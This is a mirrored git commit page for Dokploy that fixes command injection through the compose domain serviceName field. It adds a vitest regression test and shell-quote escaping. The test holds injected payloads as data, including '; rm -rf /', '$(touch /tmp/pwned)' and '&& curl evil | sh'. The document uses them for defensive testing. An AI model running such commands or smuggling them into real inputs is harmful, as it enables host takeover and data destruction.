mirror of
https://github.com/Dokploy/dokploy.git
synced 2026-09-14 11:06:15 +05:00
Merge pull request #4872 from Dokploy/fix/cmdi-domain-servicename
fix(security): command injection via compose domain serviceName (host escape)
This commit is contained in:
commit
c05e6d5a6b
@ -0,0 +1,68 @@
|
||||
import { parse } from "shell-quote";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
|
||||
// "exists" but does not contain the attacker's service, forcing the error path
|
||||
// whose message embeds the user-controlled serviceName.
|
||||
vi.mock("node:fs", async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import("node:fs")>();
|
||||
return {
|
||||
...actual,
|
||||
existsSync: () => true,
|
||||
readFileSync: () => "services:\n web:\n image: nginx\n",
|
||||
};
|
||||
});
|
||||
|
||||
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
|
||||
|
||||
const baseCompose = {
|
||||
appName: "my-app",
|
||||
serverId: null,
|
||||
composeType: "docker-compose",
|
||||
sourceType: "raw",
|
||||
composePath: "docker-compose.yml",
|
||||
isolatedDeployment: false,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
} as any;
|
||||
|
||||
const makeDomain = (serviceName: string) =>
|
||||
({
|
||||
host: "example.com",
|
||||
serviceName,
|
||||
https: false,
|
||||
uniqueConfigKey: 1,
|
||||
port: 3000,
|
||||
}) as any;
|
||||
|
||||
// If the returned shell fragment is safe, parse() yields only string tokens.
|
||||
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
|
||||
const leaksShellSyntax = (command: string, marker: string) =>
|
||||
parse(command).some(
|
||||
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
|
||||
);
|
||||
|
||||
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
|
||||
it("does not let a malicious serviceName inject shell operators", async () => {
|
||||
const result = await writeDomainsToCompose(baseCompose, [
|
||||
makeDomain("$(touch /tmp/pwned)"),
|
||||
]);
|
||||
|
||||
// The service does not exist in the compose, so we hit the error branch.
|
||||
expect(result).toContain("Has occurred an error");
|
||||
// The payload text may appear inside the single-quoted echo argument, but
|
||||
// it must never parse as a shell operator ($(), backtick, ; …).
|
||||
expect(leaksShellSyntax(result, "touch")).toBe(false);
|
||||
});
|
||||
|
||||
it("neutralizes backtick and semicolon payloads too", async () => {
|
||||
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
|
||||
const result = await writeDomainsToCompose(baseCompose, [
|
||||
makeDomain(`svc${payload}`),
|
||||
]);
|
||||
expect(leaksShellSyntax(result, "rm")).toBe(false);
|
||||
expect(leaksShellSyntax(result, "curl")).toBe(false);
|
||||
expect(leaksShellSyntax(result, "id")).toBe(false);
|
||||
}
|
||||
});
|
||||
});
|
||||
@ -6,6 +6,7 @@ import { network, patch } from "@dokploy/server/db/schema";
|
||||
import type { Compose } from "@dokploy/server/services/compose";
|
||||
import type { Domain } from "@dokploy/server/services/domain";
|
||||
import { eq, inArray } from "drizzle-orm";
|
||||
import { quote } from "shell-quote";
|
||||
import { parse, stringify } from "yaml";
|
||||
import { execAsyncRemote } from "../process/execAsync";
|
||||
import { cloneBitbucketRepository } from "../providers/bitbucket";
|
||||
@ -128,8 +129,11 @@ exit 1;
|
||||
const encodedContent = encodeBase64(composeString);
|
||||
return `echo "${encodedContent}" | base64 -d > "${path}";`;
|
||||
} catch (error) {
|
||||
// @ts-ignore
|
||||
return `echo "❌ Has occurred an error: ${error?.message || error}";
|
||||
const message =
|
||||
error instanceof Error ? error.message : String(error ?? "");
|
||||
// The error message embeds user-controlled fields (e.g. serviceName) and is
|
||||
// executed as part of the compose build shell script, so it must be escaped.
|
||||
return `echo ${quote([`❌ Has occurred an error: ${message}`])};
|
||||
exit 1;
|
||||
`;
|
||||
}
|
||||
|
||||
Loading…
Reference in New Issue
Block a user